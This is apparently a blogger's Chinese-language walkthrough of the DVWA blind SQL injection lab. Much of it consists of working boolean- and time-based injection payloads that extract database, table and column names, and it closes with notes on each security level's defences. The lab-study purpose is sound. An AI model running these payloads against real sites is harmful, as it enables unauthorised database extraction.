SQL Injection(Blind)即SQL盲注,一般注入,hacker可以在页面上看到回显内容,以此判断注入是否成功,而盲注是看不到回显的,甚至无法判断SQL语句是否执行,因此盲注的困难程度比一般注入要难得多。并且随着技术的提升,目前所见的站点大多都是盲注,所以好好掌握吧~
手工盲注可以提高盲注思维,并且大量的盲注经验才会在以后的渗透之路上越行越远。
这里引用下freebuf大佬的文章内容:
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
https://www.freebuf.com/articles/web/120985.html
以下内容也是按照这位大佬的教程展开的,不喜可以直接访问上边的链接 😃
·
·
·
以下构造语句都是亲测的,若有问题,希望大牛批评指正
·
·
·
low level
查看源码:
发现未对SQL语句有任何过滤,按照上面步骤开始测试:
1、首先输入1,存在:
输入1’,不存在:
只有这两种回显,接下来开始判断
输入:1' and 1=1#
显示存在;输入1' and 1=2#
不存在,属于字符型SQL盲注。
2、猜解数据库名
首先猜解数据库名长度:
1' and length(database())=1# 不存在
1' and length(database())=2# 不存在
1' and length(database())=3# 不存在
1' and length(database())=4# 存在
意味着数据库名为4位。
利用ascii二分法逐个猜解:
ASCII对照表:http://ascii.911cha.com/
1' and ascii(substr(database(),1,1))>97# 存在 第一个字符对应的ASCII大于97
1' and ascii(substr(database(),1,1))<110# 存在 第一个字符对应的ASCII小于110
1' and ascii(substr(database(),1,1))>100# 不存在
1' and ascii(substr(database(),1,1))>98# 存在
1' and ascii(substr(database(),1,1))>99# 存在
这里 可以判断出ASCII值为100,对应字母为d
第二位字母:
1' and ascii(substr(database(),2,1))>97#
......
依次猜解即可
以此可以判断出数据库名为dvwa
3、 知道数据库名后猜解数据库里表的信息
首先猜解表的个数:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
存在
意味着dvwa里边有两个表,猜解表名:
首先猜解表名长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database(),limit 0,1),1))=1#
不存在
1、2、3、4、5、6、7、8 均不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database(),limit 0,1),1))=9#
存在~
第一个表名为9位
猜解第一个表名:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
存在
>100 存在
<110 存在
<105 存在
>103 不存在
<103 不存在
所以第一个字母ASCII值为103 对应字母为g
;
第二位:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97#
......
//依次猜解即可
最终得出第一表名为guestbook
第二个表名,首先猜解位数:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1))=1#
不存在
2,3,4均不在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1))=5#
存在
证明第二个表名位数为5
逐个猜解:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))>97#
按照上边方法挨个测试即可得到对应的表名,最终表名为users
4、获取表里的字段
首先猜解表中字段数:
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #
不存在
2、3、4、5、6、7
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
存在,表中有8个字段
紧接着猜解第一个字段的字段名:
首先猜解位数:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#
依次类推,第一个字段为8位
猜解字段名称:
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97#
存在
逐个测试
就可以判断出来了…
这里比较考验耐心了,初学者还是应该多敲一敲这些语句,熟能生巧,当拿到站点测试时可以形成惯性思维,不至于忘记…
还有一种方式,基于时间的盲注
1、判断是否存在注入以及注入类型
1' and sleep(3)# 有明显的的停顿
1 and sleep(3)# 几乎没有停顿
存在字符型注入
2、猜解当前数据库名
首先猜解数据库名位数:
1' and if(length(database())=1,sleep(3),1)# 否
1' and if(length(database())=2,sleep(3),1)# 否
1' and if(length(database())=3,sleep(3),1)# 否
1' and if(length(database())=4,sleep(3),1)# 是
因此数据库名位数为4位。
猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(3),1)#
这里除了用了if()判断,其他和上边方式一样
3、数据库里表的信息
判断表的个数:
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(3),1)#
没停顿
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)#
明显停顿
由此判断出有两个表。
猜解表的名称:
首先判断表的长度:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(3),1)#
1、2、3、4、5、6、7、8 都没有停顿
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(3),1)#
有明显停顿,因此第一个表名长度为 9,猜解表名:
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,sleep(3),1)#
停顿
逐个猜解即可获取表名
4、猜解表的字段信息
首先猜解表的字段个数:
1' and if((select count(column_name) from information_schema.columns where table_name='users')=1,sleep(3),1)#
无停顿
2、3、4、5、6、7 都无停顿
1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(3),1)#
停顿
有8个字段,猜解字段名称
首先猜解字段名位数:
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(3),1)#
......
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(3),1)#
停顿
有7个位数,猜解字段名:
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97,sleep(3),1)#
采用二分法,依次猜解出字段名
medium level
查看源代码:
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
mysqli_real_escape_string()函数用来对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句。传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。
并且设置了下拉菜单,希望用户选择,而非输入
这里可以利用BP抓包绕过,可以看这里,构造语句也和low level一样,只需要修改即可!
1、布尔盲注
2、基于时间得盲注
可以自行实践~
high level
源码分析:
这里可以看到是利用cookie传参的,并且对输入字符进行了限制,而且执行了sleep()函数,扰乱了时间盲注。
这里limit限制可以用#
注释绕过,也可以使用BP抓包修改绕过,在一般注入的文章里也是类似的情况,主要就是掌握SQL语句的构造及原理。
impossible level
查看源码:
这里利用了PDO预定义,杜绝了SQL注入
总结:
1、比起一般的注入,盲注更加的复杂,因为无法看到回显到底是如何的
2、SQL语句的熟练程度,决定了盲注的成功率,在练习的过程中,总是写错语句,一遍遍的测试,一遍遍的修改
3、要有耐心,仔细查找排错
<小白初试。请各位大佬批评指正>